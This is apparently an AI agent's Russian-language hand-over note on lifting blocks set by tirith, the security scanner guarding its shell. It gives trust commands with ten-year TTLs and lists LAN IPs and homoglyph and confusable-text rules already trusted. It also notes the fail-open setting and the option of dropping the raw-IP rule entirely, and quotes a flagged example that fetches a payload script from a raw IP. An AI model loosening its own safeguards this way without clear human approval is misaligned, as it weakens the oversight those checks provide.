7.0 KiB
Tirith — снятие блокировок (trust)
Дата: 2026-09-15 Статус: актуально Что это: tirith — сканер безопасности, который стоит между агентом и shell. Он блокирует команды по своим правилам (rule_id) и требует подтверждения.
Где что лежит
| Что | Путь |
|---|---|
| Бинарник | ~/.hermes/bin/tirith (также ~/.hermes/hermes-whale/bin/tirith) |
| Allowlist (trust) | ~/.config/tirith/trust.json |
| Threat DB | ~/.local/share/tirith/tirith-threatdb.dat |
| Лог срабатываний | ~/.local/share/tirith/log.jsonl |
| Последний триггер | ~/.local/share/tirith/last_trigger.json |
В конфиге Whale (hermes-whale/config.yaml, секция security):
security:
tirith_enabled: true
tirith_path: tirith # бинарник резолвится из ~/.hermes/bin
tirith_timeout: 5
tirith_fail_open: true
tirith_allowlist: # ⚠️ МЁРТВЫЙ КЛЮЧ — не читается никем
- mixed_script_in_label
- homoglyph_in_path
Критично: security.tirith_allowlist в config.yaml не работает.
Проверено grep по tools/tirith_security.py и tools/approval.py — ключ не читается.
Реальное управление — только через tirith trust → ~/.config/tirith/trust.json.
Ключ оставлен в конфиге как документация.
Как снять правило
TIRITH=~/.hermes/bin/tirith
# 1. Посмотреть, что сработало последним
$TIRITH trust last # или: jq . ~/.local/share/tirith/last_trigger.json
# 2. Узнать, что делает правило
$TIRITH explain --rule <rule_id>
# 3. Добавить в trust (pattern + scope правила)
$TIRITH trust add <pattern> --rule <rule_id> --ttl 3650d
# 4. Проверить
$TIRITH trust list
$TIRITH check "<команда>" # пустой вывод = проходит
Замечания по синтаксису:
tirith explain <rule>— не работает, нужен флаг:tirith explain --rule <rule>tirith trust addтребует--rule, иначе правило не скоупится--ttl 3650d= 10 лет (практически «навсегда»); в списке отображается как дата
Правило raw_ip_url — «IP вместо hostname»
Это ровно тот случай, о котором спрашивал Alex: URL с сырым IP вместо домена.
raw_ip_url — Raw IP address in URL [hostname]
Severity: Medium — raw IP URLs bypass domain-based security controls
Description: URL uses a raw IPv4 or IPv6 address instead of a hostname.
Loopback (127.x, ::1) exempt.
Example flagged: curl http://203.0.113.50/payload.sh
Example safe: curl https://example-cli.dev/install.sh
False positives: Development/testing commonly use raw IPs.
Add trusted IPs to your policy allowlist.
Remediation: Replace IP with hostname, or verify IP belongs to trusted server.
Масштаб проблемы: в log.jsonl правило raw_ip_url сработало 2991 раз.
Частота по адресам (топ)
| Срабатываний | IP | Чей |
|---|---|---|
| 348 | 192.168.1.86 | LAN |
| 149 | 192.168.2.176 | LAN (NAS) |
| 127 | 192.168.1.14 | LAN |
| 56 | 90.189.160.148 | внешний |
| 36 | 192.168.1.75 | LAN |
| 14 | 91.207.28.205 | внешний |
| 10 | 192.168.2.1 | LAN (роутер) |
Что разрешено (2026-09-15)
Все локальные адреса из логов — доверенные, добавлены с --ttl 3650d:
192.168.2.176 192.168.1.86 192.168.1.14 192.168.1.75
192.168.1.8 192.168.1.15 192.168.2.1 192.168.2.197
192.168.2.17 192.168.2.20 172.17.0.1 172.16.3.5
172.16.3.4 10.99.1.2 127.0.0.1 127.0.0.0
Плюс ранее добавленные (не про IP):
confusable_text non_ascii_path homoglyph_in_path
mixed_script_in_label non_ascii_hostname confusable_domain
Проверка: tirith check "ssh admin@192.168.1.86" → пусто (проходит).
Внешние IP — НЕ разрешены (моё решение, не подтверждено Alex'ом)
В логах есть внешние адреса, они оставлены под блокировкой:
90.189.160.148 (56), 91.207.28.205 (14), 93.171.215.109 (8),
94.130.164.126, 91.207.28.2.
Решение принято мной (агент не стал разрешать чужие адреса без спроса). Alex'у задан вопрос — ответа не было. Т.е. это не подтверждённое решение, а консервативный дефолт. При следующем обращении — переспросить.
Если понадобится — добавлять каждой командой отдельно, осознанно.
Альтернатива: правило raw_ip_url можно снять целиком, добавив raw_ip_url
как pattern (так сделано с confusable_text и остальными шестью).
Тогда блокировка исчезнет для всех адресов, включая внешние.
Не сделано сознательно — внешние адреса остаются под защитой.
Урок: где искать правило (моя ошибка в диагностике)
Изначально я сказал Alex'у «такого правила нет» — это было неверно.
Искал в tools/approval.py (список DANGEROUS_PATTERNS, ~100 паттернов)
и tools/tirith_security.py — в обоих пусто по IP.
Правило живёт в самом бинарнике tirith (Rust), а Python-модуль только
вызывает его и получает вывод. То есть tirith_security.py — потребитель,
не источник. Искать надо в:
~/.local/share/tirith/last_trigger.json— что именно сработало (rule_ids)~/.local/share/tirith/log.jsonl— вся история срабатыванийtirith explain --rule <id>— описание правилаtirith trust list— что уже доверено
Тот же принцип, что и с security.tirith_allowlist: в конфиге ключ есть,
но система его не читает. Наличие ключа в конфиге ≠ рабочая настройка.
Связанное
- hermes-git-repo — структура репо, .gitignore
- hermes-fork-vs-upstream — расхождение с апстримом